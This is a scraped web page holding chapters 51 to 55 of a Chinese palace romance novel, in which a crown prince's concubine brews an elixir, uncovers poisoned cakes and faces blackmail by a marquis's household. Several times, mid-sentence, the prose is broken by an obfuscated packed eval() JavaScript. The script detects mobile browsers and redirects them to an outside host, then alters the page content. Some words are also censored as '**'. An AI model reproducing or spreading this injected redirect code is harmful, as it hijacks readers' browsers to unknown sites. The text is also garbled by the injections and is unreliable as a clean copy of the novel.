沈青黛顾不上回答,一把拽住春桃:“快!把我所有的药材都搬到偏殿,再准备个炼丹炉!” “炼丹炉?”春桃瞪大了眼睛,“主子,您该不会又要……” “别啰嗦!”沈青黛风风火火地往屋里跑,“这次事关重大!” 半个时辰后,偏殿里堆满了瓶瓶罐罐,丹炉里的火苗“噼啪”作响。 沈青黛盯着手中的药方,咬了咬牙——这是她前世没来得及完成的“回魂丹”,据说能吊住将死之人的一口气。 此时,另一边。 御花园里金桂飘香,皇帝负手立在九曲桥上,望着湖中游弋的锦鲤出神。 萧景翊快步走来,衣摆扫过沾着露水的青石,在三步外拱手行礼:“儿臣见过父皇。” “景翊来了。”皇帝头也不回,指尖轻轻叩着汉白玉栏杆。 “中秋将至,今年的宫宴就由你操办。礼部拟的单子朕看了,太过寻常,你盯着些,别失了皇家体面。” 萧景翊垂眸应下,目光却落在皇帝腰间的玉佩上。 那是块通体碧绿的螭龙佩,边角缠着金丝,正是当年母后生辰时,父皇特意命人雕琢的。 记忆突然翻涌,幼时他曾趴在母后膝头,看她拿着玉佩逗自己笑,可自母后薨逝后,这玉佩却成了皇帝禁忌。 “儿臣记得,母后在世时,最喜中秋赏月……”萧景翊声音放轻。 皇帝背在身后的手猛地收紧。 “够了!”皇帝猛地转身,袍角带起一阵劲风,震得桥边桂树簌簌落英。 “朕让你操办宫宴,不是来听这些陈谷子烂芝麻!” 他的脸色比池边的青石还冷。 萧景翊看着皇帝躲闪的眼神,心底泛起冷笑。 十七年了,每当他试图提起母后,得到的永远是这样的回应。 当年明明是父皇力排众议,封了出身低微的母后为后,可一场突如其来的“急症”,却让母后在月圆之夜骤然离世。 此后所有与母后相关的物件、记忆,都成了宫中禁忌。 “儿臣明白。”萧景翊再次行礼,嘴角勾起一抹讽刺的弧度。 “儿臣定当将宫宴办得风光,也好让南疆来的客人,见识我大胤的昌盛。” 他特意咬重“南疆”二字,果然见皇帝的眉头微皱。 柳如烟进京后,南疆部落小动作不断,这早已不是秘密。 皇帝挥了挥手,转身继续看鱼。 “无事便退下吧。对了,听说你东宫的良娣,最近在后宫闹得很是热闹?” 萧景翊眸光微暗。 沈青黛那日偷偷出宫的事,终究还是传到了父皇耳中。 他想起她咋咋呼呼的样子,想起她攥着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841265|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己袖子撒娇时亮晶晶的眼睛,心里竟莫名一软。 “青黛生性单纯,不过是看不惯宫中腌臜事。儿臣会管教她,不会扰了父皇清净。” “最好如此。”皇帝摆了摆手,“下去吧。” 萧景翊行礼告退,刚踏出御花园,就听见远处传来嘈杂的呼喊声。 抬头望去,东宫方向腾起滚滚黑烟,橘红色的火光在夜色中格外刺目。 宫人们抱着水桶匆匆跑过,一边掩着口鼻一边议论:“莫不是东宫失火了?这烟大得吓人!” “去看看!”萧景翊脸色骤变,甩开侍卫直奔东宫。 他心急如焚,满脑子都是沈青黛咋咋呼呼的模样。 那丫头总爱摆弄些奇怪的药,该不会真捅出什么娄子了吧? 还没到殿门口,就见春桃哭哭啼啼地扒着门框:“主子!您快出来啊!再烧下去整个屋子都要塌了!” 救火队举着水龙站在院外,却被几个小太监拦着,为首的太监哆哆嗦嗦地解释。 “使不得啊!良娣娘娘说谁要是敢泼水,就、就把大家都做成药人!” 萧景翊冲进殿内,被浓烟呛得直咳嗽。 只见偏殿门窗紧闭,火光从门缝里不断往外冒,空气中弥漫着刺鼻的焦糊味,还夹杂着古怪的药香。 他踹开门的瞬间,差点被热浪掀了个跟头。 “沈青黛!”他大喊一声,却没人应答。 定睛一看,就见沈青黛蹲在丹炉旁,正举着蒲扇拼命扇风。 她发髻凌乱,脸上沾着黑灰,连脖子和袖口都被熏得漆黑。 丹炉里火苗蹿得老高,架子上的药材噼里啪啦炸开,火星子溅得到处都是,旁边的窗帘已经烧出了个大洞。 “你疯了?”萧景翊冲过去拽住她后领,“这是打算把东宫烧成炼丹炉?” 沈青黛被拎得双脚离地,还不忘死死攥着蒲扇:“别闹!回魂丹就快成了!” 她一边挣扎一边指着丹炉,“你看!火苗变青了,这是要结丹的兆头!” 萧景翊顺着她手指的方向看去,差点气晕过去。 第五十一章 不准再炼丹 丹炉底部的药汁已经沸腾,正咕嘟咕嘟冒着泡,铜炉表面被烧得通红,眼看就要融化。 他一把抢过蒲扇扔到地上,扯着嗓子喊:“来人!快拿水……” “不许用水!”沈青黛急得跳脚,“这丹遇水就废了!” 她突然眼睛一亮,抓起旁边的陶罐,“用这个!里面是花戎给的‘灭火砂’!” 说着就往丹炉上撒,灰白色的粉末一接触火焰,顿时腾起一阵白烟,火苗“滋啦”一声小了下去。 萧景翊看着满地狼藉,再看看沈青黛花猫似的脸,气得太阳穴直跳。 “沈青黛,你知道自己闯了多大的祸?整个皇宫都以为东宫遭灾!” “我这不是为了救人嘛!”沈青黛梗着脖子辩解,从怀里掏出个小瓷瓶。 “你看!回魂丹!只要炼成这个,重伤将死之人服下就能吊着命!万一……” 她突然压低声音,“万一有人想害您,这不就多了条活路?” 萧景翊愣住了。 火光映着沈青黛的眼睛,黑灰遮不住眼底的认真。 他突然想起白天在御花园,父皇躲闪的眼神。 原来这丫头,早就察觉到了暗处的危险。 “下次再敢这么胡来,就把你关到藏书阁抄一百遍《宫规》。” 他板着脸,却伸手轻轻擦去她脸上的黑灰,“先去洗漱,我让厨房煮了醒神汤,喝了再睡。” 沈青黛立刻眉开眼笑,踮起脚凑到他耳边:“其实我还留了一手!” 她神神秘秘地指了指墙角,“瞧见没?我提前让春桃备了防火纱帐,就算真烧起来,也能撑半个时辰!” 萧景翊顺着她手指的方向看去,只见所谓的“防火纱帐”已经烧出了个大洞,边缘还在冒着青烟。 他扶额长叹:“半个时辰?再晚来一步,这纱帐就能给你招魂了。” “殿下,您就别生气了嘛!”沈青黛晃着他的袖子撒娇。 “我保证,下次炼丹前一定先告诉您!对了,您怎么突然回来了?是不是想我……” “少贫嘴。” 萧景翊冷着脸扫过满地狼藉,炼丹炉还在冒着青烟,架子上焦黑的药材滴滴答答往下淌着黏糊糊的液体,把青砖都腐蚀出一个个小坑。 “来人,把这些东西都收走!” “不行!”沈青黛张开双臂挡在丹炉前。 “这些可都是千年雪参、九幽灵芝,花戎那儿好不容易凑来的!就算烧坏了也能入药,殿下您不能扔!” 萧景翊太阳穴突突直跳:“再留着,整个东宫都要被你炸上天。” 他伸手去拽沈青黛的胳膊,却被她灵活躲开,“我让人赔你十份,现在立刻去洗脸。” “十份?”沈青黛眼睛一亮,又警惕地眯起眼。 “殿下该不会是哄我吧?上次说好给我做桃花酥,结果御膳房送来的全是枣泥馅!” “本殿何时骗过你?”萧景翊无奈地叹了口气,突然伸手一捞,直接把沈青黛打横抱了起来。 她惊呼一声,下意识搂住他的脖子,鼻尖撞上他胸前沾着的墨香。 “放我下来!男女授受不亲!”沈青黛的脸瞬间红透,在他怀里扑腾。 萧景翊却纹丝不动,抬脚避开地上的药渣,径直往内室走去。 “现在知道害羞了?刚才把东宫烧得像战场的时候,怎么没见你怕人说闲话?” 内室的铜盆里早备好了热水。 春桃吓得躲在角落,见萧景翊抱着沈青黛进来,脸比主子还红,结结巴巴道:“殿、殿下,要、要奴婢伺候吗?” “不用。”萧景翊把沈青黛往凳子上一放,沾湿帕子拧干,“闭眼。” 沈青黛乖乖闭上眼,睫毛却紧张地颤动。 温热的帕子轻轻擦过脸颊,带着若有若无的龙涎香。 她偷偷睁开一条缝,正好对上萧景翊。 “乱动什么。”萧景翊手上的动作没停,仔细擦去她眼角的煤灰,“把脸转过来。” 沈青黛乖乖转了半圈,突然憋不住乐:“殿下,您该不会有洁癖吧?擦个脸这么讲究,比我捣鼓药材还细致。” 她偷瞄着萧景翊捏着帕子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不行。”萧景翊想也不想就拒绝,“花园是休憩之处,不是你的药窟。” “那……在冷宫旁边?反正那儿没人住!” “更不行。” 第五十二章 笑里藏刀 “城郊别庄总行吧?”沈青黛拽着他袖子晃啊晃,“我保证一个月只去三次,炼完就走!” 萧景翊被她缠得头疼,一把按住她的肩膀:“最多给你在西跨院腾间屋子,但不许用明火,药材也得报备。” 见沈青黛还要讨价还价,他突然压低声音,“再闹,就把你的金牌没收。” 沈青黛立刻闭了嘴,把金牌死死攥在怀里:“成交!不过殿下得派几个手脚麻利的小太监给我打下手。” 萧景翊无奈地摇头:“知道了,明日就让人过去。你早点休息,别再熬夜鼓捣那些药。” 第二日清晨,沈青黛正哼着小曲儿换男装,打算拿着金牌去萧景翊的私库大采购。 春桃慌慌张张跑进来:“主子!南疆公主柳如烟来了,正在前厅等着呢!” “她来干什么?”沈青黛对着铜镜整理发冠,歪头想了想,“多半是来找殿下的,我才不凑这个热闹。就说我不在……” “她说特意来请您去品尝南疆点心。”春桃打断她的话,脸上满是担忧,“主子,会不会有诈啊?” 沈青黛系腰带的手顿了顿,眼神瞬间警惕起来。 她摸了摸袖中的银针,冷笑一声:“来得正好,我倒要看看她葫芦里卖的什么药!走!” 前厅里,柳如烟一身艳丽的南疆服饰,正慢条斯理地用帕子擦拭着茶杯。 见到沈青黛穿着男装进来,她微微挑眉:“妹妹这是要出门?” “是啊,正要去宫外办点事。”沈青黛大大咧咧地坐下,故意上下打量她,“姐姐今日怎么有空来找我?该不会是想打听殿下的事吧?” 柳如烟掩嘴轻笑:“妹妹误会了。我从南疆带来些特色点心,特意想请妹妹尝尝。” 说着,她示意侍女端上一个精致的漆盒,打开后露出几块色泽诱人的糕点,甜腻的香气瞬间弥漫开来。 沈青黛瞥了眼糕点,心中警惕起来。 那股熟悉的甜腻中,隐隐夹杂着一丝腥气,正是**的味道!她捏着嗓子装出一副娇弱的样子。 “哎呀,不凑巧,我最近肠胃不舒服,大夫叮嘱不能吃甜食。这糕点这么珍贵,我还是留着以后慢慢品尝吧!” 说着,伸手就要去盖盒子。 柳如烟眼疾手快按住盒子,笑容不达眼底:“妹妹这是嫌弃我的点心?这些可都是用南疆特有的香料制作,别处尝不到的。” “姐姐千万别这么说!”沈青黛一脸惋惜。 “实在是我这身子不争气,前儿个吃了块月饼都闹了半天肚子。等我病好了,一定去姐姐那儿好好讨教!” 她突然捂着肚子哎哟一声:“不行,我得去趟茅房……”说着,起身就要溜。 “慢着!”柳如烟猛地站起来,袖子扫翻了桌上的茶杯,“沈青黛,你是不是信不过我?” 柳如烟刚要说话,院外突然传来马蹄声和侍卫的通报声。 萧景翊已经翻身下马,一身玄色朝服还带着未散的寒气。 柳如烟眼睛瞬间亮了,裙摆翻飞着迎上去,声音甜得很。 “殿下!本公主听闻您近日操劳国事,特意送来南疆点心,想给您补补身子……” 萧景翊眉头微皱,不着痕迹地往后退了半步,目光扫过桌上打开的盒子。 “柳如烟公主,孤记得未曾宣你入宫。” 他的声音冷得像冰,和刚才对沈青黛说话时的语气判若两人。 柳如烟脸上的笑容僵了僵,很快又换上委屈巴巴的神情。 “殿下这般生分,可真让本公主伤心。不过是一番好意,难道在殿下眼里,连这点心意都不愿接受吗?” 她伸手就要去拉萧景翊的衣袖,却被沈青黛抢先一步挡在中间。 “姐姐别误会!”沈青黛笑嘻嘻地说,“殿下就是太累了,说话才没什么好语气。不过姐姐送来的点心,殿下肯定喜欢!” 她转头冲萧景翊眨眨眼,“您说是不是?” 萧景翊何等的聪明,一听就知道这里面可能有猫腻,眼神瞬间有了几分锐利。 “香料?柳如烟公主,南疆进贡的单子里,似乎并未提及能做点心的香料。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841933|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳如烟脸色一白,强笑道:“不过是些民间秘方罢了……” 她话没说完,沈青黛突然捂着肚子哎哟一声:“不行了殿下,我肚子疼!春桃!快扶我去……” 她一边说一边偷偷观察柳如烟的表情,果然见对方眼神中闪过一丝紧张。 萧景翊不动声色地挡在沈青黛身前,语气更冷了。 “柳如烟公主,东宫不是你随意出入的地方。若无事,便请回吧。” 柳如烟指尖死死抠住裙摆,面上却挤出柔婉笑意。 “殿下误会了,本公主今日是特意给沈妹妹送点心,顺道问候殿下。前些日子见殿下为政务操劳,本公主实在忧心……” 她眼尾泛红,一副我见犹怜的模样,“难道在殿下心里,本公主连这点关心都成了僭越?” 沈青黛在萧景翊身后翻了个白眼,突然捂着心口夸张的开口。 “姐姐这份情谊,我可承受不起!方才我瞧这点心精致,还想着等殿下回来一同品尝呢!” 她故意拿起漆盒晃了晃,甜腻中带着腥气的味道飘散开来。 “毕竟姐姐说了,这是用南疆‘独家秘方’做的,咱们可不能辜负了!” 萧景翊余光瞥见沈青黛挤眉弄眼的模样,心里已然明白七八分。 他冷声道:“既如此,点心留下,公主请回。东宫规矩森严,莫要让旁人说闲话。” 柳如烟咬着下唇,深深看了沈青黛一眼,最终福了福身:“那本公主告退,还望殿下保重身体。” 她转身时,裙摆扫过门槛发出“刺啦”声响,像是在发泄不满。 等柳如烟的身影彻底消失,沈青黛立刻拎起漆盒往自己寝殿跑。 “春桃!快把门关上!把窗户也封死!” 她小心翼翼地把漆盒放在桌上,掏出银针往点心上一戳,针尖瞬间泛起青黑色。 “看到没?果然有问题!这柳如烟,分明是想借着送点心的由头,用**控制我!” 春桃吓得脸色发白:“那、那怎么办?要是殿下刚才吃了……” 第五十三章 故意的 “所以我才故意把殿下扯进来啊!”沈青黛盘腿坐在榻上,托着下巴琢磨。 “不过柳如烟也够冒险的,万一殿下真尝了点心,她岂不是误伤友军?除非……” 她眼睛突然瞪大,“她根本没把殿下当自己人!之前还在我面前装喜欢殿下,指不定都是做戏!” 春桃听得一头雾水:“主子,柳如烟不是想和殿下亲近吗?怎么又成做戏了?” “你想啊,她又是种**,又是制毒,野心这么大。要是真和殿下一伙的,何必偷偷摸摸?” 沈青黛越说越激动,跳下榻在屋里来回踱步。 “她送毒点心,一是想解决我这个绊脚石,二是试探殿下的态度!幸好殿下够机灵,没上她的当!” 正说着,外头突然传来脚步声。 沈青黛慌忙把漆盒藏到枕头底下,就见萧景翊掀帘而入,身后还跟着两个捧着药箱的太医。 “点心送去查验了。” 萧景翊看了眼她慌乱的模样,心里发笑,面上却板着脸。 “太医说你方才喊肚子疼,仔细瞧瞧。” 沈青黛连连摆手,把太医往门外推:“不用不用!我就是……就是瞧见殿下太俊,心跳太快岔了气!” 她朝春桃使个眼色,春桃立刻心领神会,将太医们哄了出去。 萧景翊抱臂看着她拙劣的演技,突然开口:“跟我来。” “去哪儿?”沈青黛小跑着跟上,心里直打鼓。 穿过回廊,拐进一间挂着“翊安殿”匾额的屋子,檀木香气混着墨味扑面而来,书架上摆满兵书,墙上还挂着一幅未完成的山水画。 “殿下的书房好威风!”沈青黛踮脚去够书架顶层的古籍,“这《南疆风物志》我找好久了……” “沈青黛。”萧景翊突然出声,吓得她手一抖,古籍“啪”地砸在地上。 “解释解释,你什么时候知道柳如烟种**的?又为什么私自去找她?” 沈青黛蹲下身,慢吞吞捡书:“就……就上次出宫闲逛,不小心撞见的。” 她偷瞄萧景翊阴沉的脸色,突然眼睛一亮。 “对了殿下!你和柳如烟到底什么关系?她三番五次往东宫跑,还装出一副喜欢你的样子,该不会……” “想什么呢?”萧景翊敲了下她的脑袋,“她背后是南疆巫主一脉,此次进京怕是为了虎符。” 见沈青黛瞪圆眼睛,他又补充道:“**的事,暗卫半个月前就报上来了。” “原来殿下早知道!”沈青黛一屁股坐在圈椅上。 “那你还任由她在眼皮子底下蹦跶?她后院的**田都快开花了,熬成的‘忘忧散’能放倒一支军队!” “所以才要引蛇出洞。” 萧景翊展开桌上的舆图,南疆边境的标记被朱砂圈得醒目。 “但你不该擅自涉险。柳如烟的侍女去找花戎时,你是不是也在场?” 沈青黛心里“咯噔”一下,支支吾吾道:“我……我就是去药铺抓点药材!再说了,我这不是为了帮殿下吗?” 她突然凑近,压低声音,“您就不好奇,我为什么盯上柳如烟?” 萧景翊看着她亮晶晶的眼睛,鬼使神差地问:“为什么?” “因为虎符啊!”沈青黛从怀里掏出半块刻着螭纹的青铜碎片。 “半个月前,我在黑市撞见有人倒卖虎符残片,卖家的玉佩上有和柳如烟侍女一样的图腾!” 她越说越兴奋,“我跟着线索查到柳如烟行宫,这才发现**田的秘密!不过……” 她突然耷拉下脑袋,“买线索花了我五千两,现在穷得叮当响。” 萧景翊盯着那半块碎片,神色凝重。 “虎符事关国运,你以为是儿戏?万一被柳如烟的人发现,十条命都不够你丢的!” “可我总不能眼睁睁看着他们阴谋得逞吧?”沈青黛蹭到他身边,“而且我很小心的!还从花戎那儿顺了隐身粉……” “胡闹!”萧景翊猛地站起身,撞倒了一旁的笔洗,墨汁溅在舆图上。 “你以为凭几味药就能和巫蛊之术对抗?柳如烟背后的势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841934|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力连父皇都忌惮三分!” 沈青黛被他吼得缩了缩脖子,小声嘟囔:“我这不也是想帮你……” “帮我?”萧景翊捏了捏眉心,“你管好陆琼华就够了。上次她在宴会上给你下泻药的事,忘了?” “怎么可能忘!”沈青黛跳起来,“那个毒妇,我早晚要把她……” “所以别再插手虎符的事。”萧景翊打断她,“明日我会安排暗卫保护你,但你必须答应我,不再单独行动。” “那虎符线索……” “我自有安排。”萧景翊把碎片收进暗格,抬眼看向沈青黛,“你只需按我说的,在宫宴上配合演戏。” 沈青黛撇着嘴,踢着地上的石子。 “知道啦知道啦,殿下您就放心吧,我保证把柳如烟气得跳脚!” 嘴上虽这么应着,心里却还惦记着虎符的事,暗戳戳想着等回头找花戎再合计合计。 告别萧景翊后,沈青黛一路小跑回寝殿,刚推开门就听见柜子里传来窸窸窣窣的响动。 “别躲了,快出来吧。”她一边说一边把头上的簪子拔下来扔到妆奁里。 柜门吱呀一声打开,琳琅灰头土脸地钻出来,头发乱糟糟地翘着。 “哎呦我的姑奶奶,您可算回来了!我在柜子里快闷**!” 沈青黛掏出药包晃了晃:“少废话,把这副药喝了。喝完你身上的蛊毒就彻底清干净了。” 琳琅皱着眉,捏着鼻子把药汁灌下去,砸吧砸吧嘴。 “呸!比黄连还苦!沈青黛,等我恢复自由,第一件事就是去太子殿下跟前告状,让他治你的罪!” 沈青黛“噗嗤”一声笑出来,伸手戳了戳琳琅的脑袋:“告状?你是不是傻?我可是东宫良娣,而且……” 她凑近压低声音,“这给你解毒的事儿,还是殿下亲口吩咐的呢!” 琳琅瞪大了眼睛,脸上的表情瞬间凝固:“你、你说什么?太子殿下让你……” “不然你以为,我凭什么能把你藏在这儿?”沈青黛得意地叉着腰。 第五十四章 给太子试毒 “当初殿下知道你中了蛊毒,特意让我想办法救你。要不是看在你可怜,我才懒得费这功夫!” 琳琅张着嘴半天说不出话,好一会儿才结结巴巴道:“我、我一直以为是你公报私仇……” “行了行了,现在知道真相了,就老老实实听话。” 沈青黛拍了拍她的肩膀。 “你以为解了毒就能走?想得美!接下来还有更重要的任务呢!” “还、还有任务?”琳琅脸色发白,“沈姑娘,我就是个小宫女,您就饶了我吧!” “怕什么?又不是让你去上刀山下火海。” 沈青黛从袖兜里掏出个小瓷瓶。 “殿下最近在查柳如烟的阴谋,这瓶子里是新配的药,能试探出食物里有没有掺特殊的毒粉。你呢,就负责帮殿下试药。” 琳琅惊恐地后退两步:“试药?那和让我**有什么区别?” “瞧你这胆子!”沈青黛翻了个白眼。 “我都把你从蛊毒里救出来了,还能害你不成?这药没毒,就是喝下去可能会有点拉肚子。” “你想想,要是真查出柳如烟的阴谋,殿下一高兴,说不定直接赏你出宫,再给你找个好人家!” 琳琅眼睛一亮,又有些犹豫:“你说的是真的?” “我什么时候骗过你?”沈青黛拍着胸脯保证。 “不过丑话说在前头,你要是敢偷偷跑了,或者把在这儿的事儿说出去……” 她突然掏出一只小虫子,在琳琅眼前晃了晃,“我就让这蛊虫再回到你身上!” 琳琅吓得一哆嗦,连忙摆手:“我不说!我保证听话!” “这就对了嘛!”沈青黛满意地收起虫子。 “从明天开始,你就跟着春桃,负责试吃太子殿下的食物。要是发现不对劲,立刻来告诉我。” “那、那我要是**了怎么办?” “放心,我早就准备好了解药。”沈青黛晃了晃腰间的小药囊。 “不过你也别太担心,柳如烟现在忙着对付我和殿下,一时半会儿顾不上在食物里下毒。你就当是白吃白喝,还有工钱拿!” 琳琅咽了咽口水:“还有工钱?” “当然!”沈青黛掏出一锭银子,在她眼前晃了晃。 “只要你把试药的事儿办好,这银子就是你的。要是真立了大功,殿下赏的可就不止这些了!” 琳琅眼睛直勾勾地盯着银子,差点流出口水,忙点头。 “沈姑娘您就放一百个心!我保证比御膳房的试菜太监还仔细!” 正说着,春桃急匆匆跑进来,鬓角都沁着汗珠。 “主子!门外有个小太监传信,说是陆琼华让您去威远侯府一趟,还说……还说要是您不去,就有苦头吃!” 沈青黛挑眉冷笑:“她还敢威胁我?” 话虽这么说,心里却犯起嘀咕。 陆琼华背后是皇后,又和威远侯府沾亲带故,这次突然相邀,指不定憋着什么坏水。 但要是不去,对方肯定又要在后宫编排她的不是。 “走!去会会她!”沈青黛撸起袖子,转头叮嘱琳琅,“你就待在这儿,春桃会给你送吃的。记住,别乱跑!” 威远侯府气派非凡,朱红大门上的铜钉在阳光下泛着冷光。 沈青黛刚到门口,就见侯夫人带着一众丫鬟婆子迎了出来。 这侯夫人是皇后的表姐,平日里在京城贵妇圈里说一不二,此刻却满脸堆笑,拉着沈青黛的手直晃悠。 “哎呦,可算把沈姑娘盼来了!快进来快进来!” 沈青黛被拉得一个趔趄,心里警铃大作,面上却笑着打趣。 “侯夫人这么热情,我还以为自己走错地儿了呢!不是说陆琼华找我吗?她人呢?” “先别急呀!”侯夫人领着她穿过九曲回廊,来到一处幽静的小院,“有个惊喜要给你!” 院门推开的瞬间,沈青黛的呼吸都停滞了。 院子里,爹娘正坐在石凳上,娘亲手里还攥着她儿时最爱吃的桂花糖糕,鬓角却添了不少白发。 “黛黛!” 娘亲率先反应过来,糖糕都顾不上放,颤巍巍地扑过来,眼泪吧嗒吧嗒往下掉。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841935|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的儿啊,你可算来了!” 沈青黛鼻子一酸,眼眶瞬间红了,紧紧抱住娘亲:“娘!爹!你们怎么在这儿?” 爹背着手,硬邦邦地哼了一声,声音却有些发颤。 “还不是你这丫头,进了宫也不知道捎个信!要不是侯夫人好心,把我们从老家接来,还不知道你在这儿过得啥日子!” 侯夫人笑着打圆场:“沈姑娘,我瞧二老在乡下受苦,就做主把人接来了。” “放心,给二老安排的都是轻松活儿,就在府里管管账、种种花,累不着!” 沈青黛心里警铃大作,强忍着情绪,皮笑肉不笑地开口:“侯夫人这恩情,我可受不起。” “不过我倒好奇了,您费心费力安排这些,可不是单纯想让我们一家团聚吧?不如打开天窗说亮话,到底要我做什么?” 侯夫人愣了一下,随即又笑起来,眼神却冷了几分。 “沈姑娘果然聪明!实不相瞒,是想请你给威远侯府办点事。皇后娘娘日理万机,这些小事就不劳她操心了。” 沈青黛瞬间抓住关键词,脸色一沉。 “不是给皇后办事?那侯夫人的意思是……威远侯府想撇开皇后,自己动手?” 侯夫人的笑容彻底消失,凑近压低声音:“沈姑娘果然通透。” “皇后如今圣宠渐衰,威远侯府总要给自己留条后路。你在东宫深得太子殿下信任,只要你……” “打住!”沈青黛猛地后退一步,“侯夫人,我不过是个小小的良娣,哪有那么大本事?您还是另请高明吧!” 侯夫人脸色骤变,身后的婆子们立刻围了上来,眼神不善。 就在气氛剑拔**张时,沈青黛突然噗嗤一笑。 “瞧我这脑子,跟您开个玩笑!有侯夫人照应我爹娘,我哪有不帮忙的道理?” “不过我这人笨,您可得把事儿说仔细了,别到时候办砸了,连累您老人家!” 侯夫人盯着她脸上的笑,眼底翻涌着怀疑,突然转头吩咐身边嬷嬷。 “带沈老爷、沈夫人去西厢房歇着,记得好生伺候。” 第五十五章 这算是威胁吗 她特意咬重“伺候”二字,像是在提醒什么。 沈青黛看着爹娘被带走,心里揪成一团,但还是强装镇定地冲着娘亲挥挥手:“娘!我一会儿就去找你们!” 等脚步声彻底消失,侯夫人的冷笑几乎要刺破脸皮:“沈姑娘这玩笑开得可真够大的。” 话音未落,门外传来脚步声,威远侯带着两个打扮得花枝招展的庶女走了进来。 大的约莫十六七岁,眉眼间透着股精明劲儿,小的更青涩些,怯生生地躲在兄长身后。 “这不是沈良娣吗?” 威远侯捋着胡须,笑得意味深长。 “听闻你在东宫说得上话,今日特地请你来,是想让你帮个小忙。” 他伸手把两个女儿往前一推。 “我这两个庶女,自小饱读诗书,模样也还算端正,想着能不能请良娣在陛下面前美言几句,给她们个侍奉君王的机会?” 沈青黛挑了挑眉,故意惊呼:“哟,这不是天上掉下来的美事儿吗?不过……” 她拖长尾音,眼睛在两个庶女脸上转了一圈。 “皇后知道侯府要送妹妹们进宫吗?毕竟她可是后宫之主,要是没打声招呼,往后妹妹们进了宫,怕是不好相处呀!” 威远侯的脸色瞬间沉下来,身旁大庶女抢着开口。 “沈良娣这话就见外了,我们姐妹进宫是为家族争光,皇后娘娘向来贤德,岂会容不下我们?” 她话里带着刺,眼神却不住打量沈青黛的衣着首饰,像是在估量她的分量。 “放肆!”威远侯呵斥一声,又转头看向沈青黛,语气却软了几分。 “良娣只管把事儿办好,不该问的就别问。只要你尽心尽力,你爹娘在侯府的日子,自然不会差。” 沈青黛心里差点笑出声。 皇后还在后宫主持大局,这边家族已经急着捧新人上位了,看来威远侯府是打算弃车保帅,另谋出路了。 她面上却摆出一副受宠若惊的模样。 “侯爷这话说的,我哪敢不尽心?能为侯府效力,是我的福气!” “不过妹妹们进宫可不是小事,总得准备些像样的行头。” 她故意凑近大庶女,捏了捏对方的衣袖。 “这料子进宫可不够看,不如我回宫后,找尚宫局的嬷嬷帮忙,给妹妹们裁几件时下最流行的衣裳?” 小庶女眼睛瞬间亮了,扯着姐姐的袖子小声说:“姐姐,她说的是真的吗?” 大庶女瞪了她一眼,转头对沈青黛笑道:“那就有劳良娣了,日后妹妹们得了恩宠,定不会忘了良娣的好。” 威远侯满意地点点头,从袖中掏出个沉甸甸的荷包。 “这是些辛苦费,还望良娣莫要嫌弃。等事成之后,另有重谢。” 沈青黛假意推辞了两下,便笑着收下:“侯爷太客气了!我这就回宫准备,争取早日让妹妹们见到陛下!” 离开威远侯府,沈青黛坐在马车上,心里还盘算着怎么救爹娘。 马车晃晃悠悠转过街角,突然听见外头传来叫好声。 她掀开帘子一瞧,街边正有个杂耍班子表演“铜墙铁壁”。 壮汉赤手空拳打碎青砖,胸口碎大石,围观群众拍手叫好,铜钱雨点般往竹筐里扔。 沈青黛眼睛瞬间亮了,探出头看得入神。 只见那壮汉运足力气,大喝一声,手掌如刀劈开三块叠在一起的青砖,碎石飞溅。 她忍不住拍手:“好!这功夫要是学来防身,柳如烟那些阴招还怕什么?” 回宫后,沈青黛立刻找到东宫总管太监福公公,掏出几两银子往他手里一塞。 “福公公,您看能不能帮我个忙?把刚才街边那个耍杂耍的壮汉弄进东宫,我想学两手功夫!” 福公公吓得差点把银子扔了,尖着嗓子喊道:“哎哟我的小祖宗!您这是要干什么?把外男弄进东宫,老奴这条命可就没了!” 说着,他连滚带爬跑去禀报萧景翊。 